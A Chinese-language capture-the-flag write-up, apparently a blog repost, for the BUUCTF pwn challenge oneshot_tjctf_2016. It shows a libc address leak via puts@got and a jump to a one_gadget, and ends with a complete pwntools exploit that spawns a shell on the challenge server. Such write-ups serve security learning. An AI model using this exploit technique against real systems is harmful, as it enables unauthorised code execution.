[BUUCTF]PWN——oneshot_tjctf_2016(one_gadget)

oneshot_tjctf_2016

附件

步骤

  1. 例行检查,64位程序,开启了nx
    在这里插入图片描述

  2. 本地试运行一下看看大概的情况
    在这里插入图片描述

  3. 64位ida载入
    在这里插入图片描述
    程序第8行会根据第7行的输入读取对应地址的值,第10行会跳转到输入的对应地址。

  4. 第10行会根据输入的地址跳转,首先想到的是让他跳转到去执行system(‘/bin/sh’),但是程序里没有现成的后门,想到尝试看看是否可以利用one_gadget。
    在这里插入图片描述

  5. 在那之前,要先知道程序里的偏移。根据之前分析,第8行会根据第7行的输入读取相应地址的值,我们可以在这点上利用puts@got来泄露libc,这样就能计算出程序的偏移了

elf = ELF('./oneshot_tjctf_2016')
puts_got = elf.got['puts']
p.sendlineafter('Read location?',str(puts_got))
p.recvuntil('value:')
pause()

在这里插入图片描述
得到puts函数地址后就可以计算偏移,算出one_gadget在程序中的地址了

libcbase = puts_addr - libc.symbols['puts']
onegadget = libcbase + one_gadget[0]

准备就绪,在第10行的输入点传入one_gadget的地址即可,有4个一个一个试吧,很幸运,第一个就可以

完整exp

from pwn import *
from LibcSearcher import * 
context.log_level ='debug'
 
elf = ELF('./oneshot_tjctf_2016')
#p = process('./oneshot_tjctf_2016')
p = remote('node3.buuoj.cn',25203)

libc = ELF('./libc-2.23-64.so')
one_gadget = [0x45216,0x4526a,0xf02a4,0xf1147]
 
puts_got = elf.got['puts']
p.sendlineafter('Read location?',str(puts_got))
p.recvuntil('0x')
#pause()
puts_addr = int(p.recvuntil('\n'),16)
print hex(puts_addr)
#pause() 

libcbase = puts_addr - libc.symbols['puts']
onegadget = libcbase + one_gadget[0]
 
p.sendline(str(onegadget)) 
 
p.interactive()

在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/mcmuyanga/article/details/113481435